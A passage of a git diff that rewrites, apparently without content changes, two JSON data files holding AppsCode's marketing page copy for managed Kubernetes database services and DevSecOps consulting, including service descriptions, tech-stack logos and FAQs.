— we use KubeStash (Stash) for automated, deduplicated, and encrypted backups to cloud object stores (S3, GCS, Azure Blob) or local filesystems. We support scheduled backups, on-demand backups, point-in-time recovery, and cross-cluster restore." - } - ] -} +{ + "hero": { + "title": "Managed Databases on Kubernetes", + "subtitle": "Provision, monitor, backup, scale, and secure 25+ database engines on any Kubernetes cluster — fully managed by AppsCode's expert engineers using KubeDB.", + "cta_text": "Talk to a Database Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Managed Databases on Kubernetes by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose AppsCode Managed Databases?", + "areas": [ + { + "icon": "fa fa-database", + "title": "25+ Database Engines Supported" + }, + { + "icon": "fa fa-shield", + "title": "High Availability & Fault Tolerance" + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Monitoring & Support" + }, + { + "icon": "fa fa-life-ring", + "title": "Automated Backup & Disaster Recovery" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Horizontal & Vertical Scaling" + }, + { + "icon": "fa fa-lock", + "title": "TLS Encryption & Security" + }, + { + "icon": "fa fa-line-chart", + "title": "Built-in Prometheus Monitoring" + }, + { + "icon": "fa fa-code-fork", + "title": "GitOps Ready (ArgoCD / FluxCD)" + } + ] + }, + "service_details": { + "title": "Our Managed Database Services", + "subtitle": "Powered by KubeDB — the Kubernetes Native Database Management Solution trusted by Fortune 100 companies. AppsCode handles Day 2 operations so your team can focus on building applications.", + "sections": [ + { + "title": "Database Provisioning & Setup", + "description": "Deploy production-grade databases on Kubernetes in minutes. KubeDB supports PostgreSQL, MySQL, MongoDB, MariaDB, Microsoft SQL Server, Elasticsearch, OpenSearch, Redis, Kafka, RabbitMQ, and many more — all with a single CLI or declarative YAML.", + "offerings": [ + "Provision any supported database engine with a single Kubernetes manifest.", + "Configure high-availability clusters with automatic failover.", + "Deploy on any Kubernetes distribution — EKS, AKS, GKE, OpenShift, Rancher, or on-prem." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Monitoring, Alerting & Observability", + "description": "Get full visibility into database health and performance. KubeDB provides native Prometheus monitoring with built-in Grafana dashboards for every supported database engine.", + "offerings": [ + "Real-time monitoring via Prometheus with automatic service discovery.", + "Pre-built Grafana dashboards for compute, memory, storage, and I/O metrics.", + "Custom alerting rules and integration with Datadog, PagerDuty, and other tools." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "Backup, Recovery & Disaster Resilience", + "description": "Protect your data with automated, deduplicated, and encrypted backups using KubeStash (Stash). Store backups in S3, GCS, Azure Blob, or local filesystem with configurable retention policies.", + "offerings": [ + "Scheduled and on-demand backups with point-in-time recovery.", + "Deduplicated and encrypted backups to cloud object stores (S3, GCS, Azure Blob).", + "Cross-cluster restore and disaster recovery with volume snapshots." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "Scaling, Upgrades & Volume Expansion", + "description": "Scale databases seamlessly as your workload grows. KubeDB handles horizontal scaling (adding replicas), vertical scaling (increasing resources), volume expansion, and version upgrades — all without downtime.", + "offerings": [ + "Horizontal scaling — add or remove database replicas on demand.", + "Vertical scaling — adjust CPU and memory limits for database containers.", + "Volume expansion — grow storage volumes without downtime.", + "Major, minor, and patch version upgrades with automated rollback." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "24/7 Support & Expert Operations", + "description": "AppsCode's engineering team provides round-the-clock support across multiple time-zones. We handle incident response, performance tuning, security patches, and operational guidance so your databases stay healthy.", + "offerings": [ + "24/7 incident support with SLA-backed response times (Gold and Platinum plans).", + "Dedicated Slack or Discord channels for real-time collaboration.", + "Quarterly updates and emergency patches for critical vulnerabilities.", + "Production runbooks and knowledge transfer for your operations team." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Managed Databases", + "subtitle": "Our managed database services empower clients across regulated industries with high-performance, compliant, and reliable data infrastructure.", + "additional_text": "We serve Fortune 100 companies, governments, financial institutions, and fast-growing startups.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available, compliant database clusters for secure 24/7 transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Database-per-microservice patterns with automated scaling and lifecycle management." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "HIPAA-compliant database operations with encrypted storage and audit trails." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "High-throughput time-series databases for real-time monitoring and analytics." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Scalable database infrastructure for AI/ML workloads and connected vehicle data." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Always-on databases with rapid failover for seamless booking and reservation systems." + } + ] + }, + "tech_stack": { + "title": "Our Database Technology Expertise", + "subtitle": "We manage 25+ database engines on Kubernetes using KubeDB — the most comprehensive Kubernetes-native database operator.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Simplify Database Management on Kubernetes?", + "subtitle": "Get expert managed database services powered by KubeDB — provisioning, monitoring, backup, scaling, and 24/7 support.", + "buttons": [ + { + "text": "Talk to a Database Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode for Managed Databases?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "KubeDB — The Database Operator", + "description": "AppsCode develops KubeDB, the most comprehensive Kubernetes-native database operator. No third-party dependency — you work directly with the builders." + }, + { + "icon": "fa fa-database", + "title": "25+ Database Engines", + "description": "PostgreSQL, MySQL, MongoDB, Redis, Elasticsearch, Kafka, RabbitMQ, MariaDB, Microsoft SQL Server, and many more — all under a single operator and a single contract." + }, + { + "icon": "fa fa-briefcase", + "title": "Proven at Scale", + "description": "Trusted by Fortune 100 companies, governments, and banks. KubeDB has been in production since 2017 with large-scale deployments worldwide." + }, + { + "icon": "fa fa-cloud", + "title": "Any Kubernetes, Any Cloud", + "description": "Runs on EKS, AKS, GKE, OpenShift, Rancher, VMware Tanzu, bare metal, and on-prem. If you can run Kubernetes, you can run KubeDB." + }, + { + "icon": "fa fa-trophy", + "title": "Day 2 Operations Expertise", + "description": "Beyond provisioning — we handle monitoring, alerting, backup/recovery, scaling, upgrades, TLS management, and failure repair." + }, + { + "icon": "fa fa-users", + "title": "24/7 Expert Support", + "description": "Round-the-clock support from the engineers who build KubeDB. SLA-backed response times with dedicated Slack/Discord channels." + } + ] + }, + "faq": [ + { + "question": "What databases does AppsCode manage?", + "answer": "AppsCode manages 25+ database engines using KubeDB, including PostgreSQL, MySQL, MongoDB, MariaDB, Microsoft SQL Server, Elasticsearch, OpenSearch, Redis, Valkey, Kafka, RabbitMQ, Solr, ZooKeeper, Percona XtraDB, PgBouncer, Pgpool, ProxySQL, Memcached, SingleStore, ClickHouse, Cassandra, and more." + }, + { + "question": "What does the managed database service include?", + "answer": "Our managed database service includes cluster provisioning, connection to monitoring and logging, 24/7 first and second line support, automated backups, software updates (major, minor, and patch versions), scaling (horizontal and vertical), volume expansion, TLS certificate management, and consulting." + }, + { + "question": "Which Kubernetes platforms do you support?", + "answer": "We support every Kubernetes distribution — Amazon EKS, Azure AKS, Google GKE, Red Hat OpenShift, Rancher by SUSE, VMware Tanzu, Equinix Metal, OpenStack, IBM Cloud, Oracle Cloud, Alibaba Cloud, DigitalOcean, and on-premises clusters." + }, + { + "question": "How is KubeDB different from using StatefulSets?", + "answer": "KubeDB goes far beyond StatefulSets by providing comprehensive Day 2 operations: monitoring, alerts, backup/recovery, version upgrades, scaling, failure detection, and automated repair — all through a declarative Kubernetes API." + }, + { + "question": "How is KubeDB different from cloud provider managed database services?", + "answer": "KubeDB offers a wider array of database engines, supports multi-cloud and on-premises environments, and provides cost-effective solutions compared to cloud provider managed database services. You maintain full control over your data and infrastructure." + }, + { + "question": "How does pricing work?", + "answer": "KubeDB Enterprise is priced by the total memory limit set on database containers managed by KubeDB (not the memory of Kubernetes worker nodes). For example, a 3-replica PostgreSQL cluster with 8 GB RAM per replica counts as 24 GB for billing. We offer Silver (self-service), Gold (8x5), and Platinum (24x7) support plans." + }, + { + "question": "Can I try before committing?", + "answer": "Yes — KubeDB is free to use on any Kubernetes distribution. We offer a 30-day free trial of the fully-featured Enterprise edition. There is no up-front investment required." + }, + { + "question": "Do you handle backup and disaster recovery?", + "answer": "Yes — we use KubeStash (Stash) for automated, deduplicated, and encrypted backups to cloud object stores (S3, GCS, Azure Blob) or local filesystems. We support scheduled backups, on-demand backups, point-in-time recovery, and cross-cluster restore." + } + ] +} diff --git a/data/services/observability-devsecops/devsecops_consulting_services.json b/data/services/observability-devsecops/devsecops_consulting_services.json index b2180d4f90..f95fff60eb 100644 --- a/data/services/observability-devsecops/devsecops_consulting_services.json +++ b/data/services/observability-devsecops/devsecops_consulting_services.json @@ -1,305 +1,305 @@ -{ - "hero": { - "title": "DevSecOps Consulting Services | Secure Your Software Delivery Pipeline", - "subtitle": "Integrate security across every stage of your DevOps lifecycle. AppsCode’s DevSecOps Consulting Services empower your teams to automate, secure, and scale cloud-native applications with confidence.", - "cta_text": "TALK TO A DEVSECOPS EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/devsecops-consulting.png", - "alt": "DevSecOps Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Global Innovators in Cloud-Native Security" - }, - "title_with_small_cards": { - "title": "Why DevSecOps Consulting Services Matter for Modern Enterprises", - "areas": [ - { - "icon": "fa fa-shield", - "title": "Unified Visibility for DevOps & Security Teams" - }, - { - "icon": "fa fa-lock", - "title": "Automated Vulnerability Detection & Remediation" - }, - { - "icon": "fa fa-bug", - "title": "Proactive Threat Monitoring & Misconfiguration Prevention" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud Security, Governance & Compliance" - } - ] - }, - "service_details": { - "title": "End-to-End DevSecOps Consulting and Implementation", - "subtitle": "From strategy to automation, AppsCode’s DevSecOps Consulting Services help organizations integrate security into CI/CD, Kubernetes, and cloud-native environments.", - "sections": [ - { - "title": "Comprehensive DevSecOps Assessment", - "description": "Understand your organization’s current security maturity level with our DevSecOps assessment framework. We analyze your application security, CI/CD pipelines, and Kubernetes infrastructure to uncover risks and deliver actionable improvements.", - "offerings": [ - "In-depth audits across workloads, clusters, and pipelines for a complete DevSecOps posture overview.", - "Security best practices for managed Kubernetes platforms like EKS, AKS, and GKE.", - "Tailored recommendations to enhance compliance, automation, and observability." - ], - "image": "/assets/images/services/devsecops-assessment.png" - }, - { - "title": "Strategic DevSecOps Consulting & Advisory", - "description": "Accelerate your security transformation with tailored advisory from AppsCode experts. Our DevSecOps consultants guide you through secure architecture design, process automation, and continuous improvement.", - "offerings": [ - "Identify gaps in your DevOps toolchain and integrate DevSecOps automation seamlessly.", - "Define roadmaps for security maturity and resilience in your CI/CD workflows.", - "Trusted by 100+ enterprises across finance, SaaS, and healthcare industries." - ], - "image": "/assets/images/services/devsecops-consulting-advisory.png" - }, - { - "title": "Security Tool Deployment & Automation", - "description": "Deploy and integrate the right DevSecOps tools to ensure continuous security throughout your pipelines. AppsCode helps configure, automate, and maintain your security stack for proactive protection.", - "offerings": [ - "Select and implement the most suitable open-source and enterprise-grade tools.", - "Embed automated vulnerability scanning and policy enforcement into CI/CD.", - "Establish real-time visibility across your DevSecOps ecosystem." - ], - "image": "/assets/images/services/devsecops-security-tool-deployment.png" - }, - { - "title": "Compliance, Governance & Audit Readiness", - "description": "Stay compliant with industry standards like GDPR, HIPAA, and PCI DSS through automated compliance workflows and continuous monitoring.", - "offerings": [ - "Build audit-ready DevSecOps frameworks for regulated industries.", - "Automate compliance reporting and alerting with traceability.", - "Reduce governance overhead with centralized security policies." - ], - "image": "/assets/images/services/devsecops-compliance-audit-readiness.png" - }, - { - "title": "Managed DevSecOps Services", - "description": "Offload your day-to-day DevSecOps operations to AppsCode’s experts. We manage, monitor, and optimize your security pipelines 24/7 to ensure continuous compliance and reliability.", - "offerings": [ - "End-to-end management of your DevSecOps infrastructure and processes.", - "24/7 monitoring, threat detection, and automated remediation.", - "Continuous optimization to ensure zero-trust and scalability." - ], - "image": "/assets/images/services/managed-devsecops-services.png" - }, - { - "title": "DevSecOps Enablement & Training", - "description": "Empower your teams with the skills and frameworks needed to operate a secure DevOps environment effectively.", - "offerings": [ - "Comprehensive DevSecOps workshops for engineers and SREs.", - "Hands-on training for secure Kubernetes and CI/CD pipelines.", - "Best practice guides and documentation for internal enablement." - ], - "image": "/assets/images/services/devsecops-enablement-training.png" - } - ] - }, - "industries": { - "title": "Industry-Specific DevSecOps Expertise", - "subtitle": "We bring proven experience across 100+ enterprises to deliver secure, compliant, and resilient DevSecOps architectures.", - "additional_text": "From cloud-native startups to Fortune 500 enterprises — AppsCode ensures your software delivery remains fast, compliant, and secure.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Deliver secure, compliant, and high-availability systems for 24/7 financial transactions and services." - }, - { - "icon": "fa fa-laptop", - "title": "Technology, SaaS & Internet", - "description": "Embed scalable security in your SaaS and AI workloads while maintaining agility and performance." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Integrate DevSecOps into connected car ecosystems to ensure safety, data protection, and regulatory compliance." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Secure industrial systems with proactive monitoring, threat detection, and automated compliance checks." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Ensure patient data privacy and rapid data processing with secure cloud-native infrastructure." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Enable secure, seamless, and real-time digital experiences with multi-cloud DevSecOps adoption." - } - ] - }, - "tech_stack": { - "title": "Expertise Across Leading DevSecOps Tools & Frameworks", - "subtitle": "Our certified engineers bring hands-on experience with the top open-source and enterprise-grade security tools.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for DevSecOps Consulting Services?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class Kubernetes Expertise", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Domain Expertise", - "description": "Extensive hands-on experience implementing DevSecOps solutions for 100+ clients worldwide." - }, - { - "icon": "fa fa-trophy", - "title": "Early Kubernetes Adopter", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Training & Knowledge Transfer", - "description": "We empower your teams with practical DevSecOps knowledge and process adoption support." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-wrench", - "title": "Scale Without Limits", - "description": "Easily expand your engineering capabilities without the overhead of hiring or training." - } - ] - }, - "final_cta": { - "title": "Ready to Transform Your Security with DevSecOps?", - "subtitle": "Talk to AppsCode’s experts to design and implement DevSecOps Consulting Services that enhance compliance, performance, and innovation.", - "buttons": [ - { - "text": "Talk to a Security Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "faq": [ - { - "question": "What do your DevSecOps Consulting Services include?", - "answer": "Our DevSecOps Consulting Services help organizations integrate security into their development and operations workflows. We cover security automation, vulnerability management, compliance, secure CI/CD pipelines, and governance to ensure applications are delivered securely and reliably." - }, - { - "question": "Which technologies and practices are used in DevSecOps consulting?", - "answer": "We leverage tools and practices such as Kubernetes, Docker, CI/CD pipelines, SAST/DAST scanners, container security, infrastructure as code security, secrets management, and compliance frameworks. Our approach ensures secure development without slowing down delivery." - }, - { - "question": "Can you work with our existing DevOps processes?", - "answer": "Yes — we integrate security into your current DevOps workflows, enhance CI/CD pipelines with automated security checks, implement policies and best practices, and provide guidance for continuous monitoring and compliance." - }, - { - "question": "What is the typical timeline and engagement model for DevSecOps Consulting Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your DevOps practices and security posture. Implementation follows in 4–8 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term DevSecOps advisory partnerships." - }, - { - "question": "Do DevSecOps Consulting Services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid environments, ensuring consistent security practices, automated checks, and compliance across AWS, Azure, GCP, and on-premises systems." - }, - { - "question": "How do you ensure security, compliance, and reliability in DevSecOps?", - "answer": "We enforce automated vulnerability scanning, secure coding practices, access controls, configuration audits, monitoring, and incident response strategies. These measures ensure secure, compliant, and resilient applications." - }, - { - "question": "What happens after DevSecOps consulting and implementation?", - "answer": "After implementation, we provide ongoing monitoring, support, and optimization. Our services include knowledge transfer, documentation of best practices, and recommendations for continuous security and compliance improvements." - }, - { - "question": "How much do DevSecOps Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on application complexity, number of teams, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "DevSecOps Consulting Services | Secure Your Software Delivery Pipeline", + "subtitle": "Integrate security across every stage of your DevOps lifecycle. AppsCode’s DevSecOps Consulting Services empower your teams to automate, secure, and scale cloud-native applications with confidence.", + "cta_text": "TALK TO A DEVSECOPS EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/devsecops-consulting.png", + "alt": "DevSecOps Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Global Innovators in Cloud-Native Security" + }, + "title_with_small_cards": { + "title": "Why DevSecOps Consulting Services Matter for Modern Enterprises", + "areas": [ + { + "icon": "fa fa-shield", + "title": "Unified Visibility for DevOps & Security Teams" + }, + { + "icon": "fa fa-lock", + "title": "Automated Vulnerability Detection & Remediation" + }, + { + "icon": "fa fa-bug", + "title": "Proactive Threat Monitoring & Misconfiguration Prevention" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud Security, Governance & Compliance" + } + ] + }, + "service_details": { + "title": "End-to-End DevSecOps Consulting and Implementation", + "subtitle": "From strategy to automation, AppsCode’s DevSecOps Consulting Services help organizations integrate security into CI/CD, Kubernetes, and cloud-native environments.", + "sections": [ + { + "title": "Comprehensive DevSecOps Assessment", + "description": "Understand your organization’s current security maturity level with our DevSecOps assessment framework. We analyze your application security, CI/CD pipelines, and Kubernetes infrastructure to uncover risks and deliver actionable improvements.", + "offerings": [ + "In-depth audits across workloads, clusters, and pipelines for a complete DevSecOps posture overview.", + "Security best practices for managed Kubernetes platforms like EKS, AKS, and GKE.", + "Tailored recommendations to enhance compliance, automation, and observability." + ], + "image": "/assets/images/services/devsecops-assessment.png" + }, + { + "title": "Strategic DevSecOps Consulting & Advisory", + "description": "Accelerate your security transformation with tailored advisory from AppsCode experts. Our DevSecOps consultants guide you through secure architecture design, process automation, and continuous improvement.", + "offerings": [ + "Identify gaps in your DevOps toolchain and integrate DevSecOps automation seamlessly.", + "Define roadmaps for security maturity and resilience in your CI/CD workflows.", + "Trusted by 100+ enterprises across finance, SaaS, and healthcare industries." + ], + "image": "/assets/images/services/devsecops-consulting-advisory.png" + }, + { + "title": "Security Tool Deployment & Automation", + "description": "Deploy and integrate the right DevSecOps tools to ensure continuous security throughout your pipelines. AppsCode helps configure, automate, and maintain your security stack for proactive protection.", + "offerings": [ + "Select and implement the most suitable open-source and enterprise-grade tools.", + "Embed automated vulnerability scanning and policy enforcement into CI/CD.", + "Establish real-time visibility across your DevSecOps ecosystem." + ], + "image": "/assets/images/services/devsecops-security-tool-deployment.png" + }, + { + "title": "Compliance, Governance & Audit Readiness", + "description": "Stay compliant with industry standards like GDPR, HIPAA, and PCI DSS through automated compliance workflows and continuous monitoring.", + "offerings": [ + "Build audit-ready DevSecOps frameworks for regulated industries.", + "Automate compliance reporting and alerting with traceability.", + "Reduce governance overhead with centralized security policies." + ], + "image": "/assets/images/services/devsecops-compliance-audit-readiness.png" + }, + { + "title": "Managed DevSecOps Services", + "description": "Offload your day-to-day DevSecOps operations to AppsCode’s experts. We manage, monitor, and optimize your security pipelines 24/7 to ensure continuous compliance and reliability.", + "offerings": [ + "End-to-end management of your DevSecOps infrastructure and processes.", + "24/7 monitoring, threat detection, and automated remediation.", + "Continuous optimization to ensure zero-trust and scalability." + ], + "image": "/assets/images/services/managed-devsecops-services.png" + }, + { + "title": "DevSecOps Enablement & Training", + "description": "Empower your teams with the skills and frameworks needed to operate a secure DevOps environment effectively.", + "offerings": [ + "Comprehensive DevSecOps workshops for engineers and SREs.", + "Hands-on training for secure Kubernetes and CI/CD pipelines.", + "Best practice guides and documentation for internal enablement." + ], + "image": "/assets/images/services/devsecops-enablement-training.png" + } + ] + }, + "industries": { + "title": "Industry-Specific DevSecOps Expertise", + "subtitle": "We bring proven experience across 100+ enterprises to deliver secure, compliant, and resilient DevSecOps architectures.", + "additional_text": "From cloud-native startups to Fortune 500 enterprises — AppsCode ensures your software delivery remains fast, compliant, and secure.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Deliver secure, compliant, and high-availability systems for 24/7 financial transactions and services." + }, + { + "icon": "fa fa-laptop", + "title": "Technology, SaaS & Internet", + "description": "Embed scalable security in your SaaS and AI workloads while maintaining agility and performance." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Integrate DevSecOps into connected car ecosystems to ensure safety, data protection, and regulatory compliance." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Secure industrial systems with proactive monitoring, threat detection, and automated compliance checks." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Ensure patient data privacy and rapid data processing with secure cloud-native infrastructure." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Enable secure, seamless, and real-time digital experiences with multi-cloud DevSecOps adoption." + } + ] + }, + "tech_stack": { + "title": "Expertise Across Leading DevSecOps Tools & Frameworks", + "subtitle": "Our certified engineers bring hands-on experience with the top open-source and enterprise-grade security tools.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for DevSecOps Consulting Services?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class Kubernetes Expertise", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Domain Expertise", + "description": "Extensive hands-on experience implementing DevSecOps solutions for 100+ clients worldwide." + }, + { + "icon": "fa fa-trophy", + "title": "Early Kubernetes Adopter", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Training & Knowledge Transfer", + "description": "We empower your teams with practical DevSecOps knowledge and process adoption support." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Scale Without Limits", + "description": "Easily expand your engineering capabilities without the overhead of hiring or training." + } + ] + }, + "final_cta": { + "title": "Ready to Transform Your Security with DevSecOps?", + "subtitle": "Talk to AppsCode’s experts to design and implement DevSecOps Consulting Services that enhance compliance, performance, and innovation.", + "buttons": [ + { + "text": "Talk to a Security Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "faq": [ + { + "question": "What do your DevSecOps Consulting Services include?", + "answer": "Our DevSecOps Consulting Services help organizations integrate security into their development and operations workflows. We cover security automation, vulnerability management, compliance, secure CI/CD pipelines, and governance to ensure applications are delivered securely and reliably." + }, + { + "question": "Which technologies and practices are used in DevSecOps consulting?", + "answer": "We leverage tools and practices such as Kubernetes, Docker, CI/CD pipelines, SAST/DAST scanners, container security, infrastructure as code security, secrets management, and compliance frameworks. Our approach ensures secure development without slowing down delivery." + }, + { + "question": "Can you work with our existing DevOps processes?", + "answer": "Yes — we integrate security into your current DevOps workflows, enhance CI/CD pipelines with automated security checks, implement policies and best practices, and provide guidance for continuous monitoring and compliance." + }, + { + "question": "What is the typical timeline and engagement model for DevSecOps Consulting Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your DevOps practices and security posture. Implementation follows in 4–8 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, 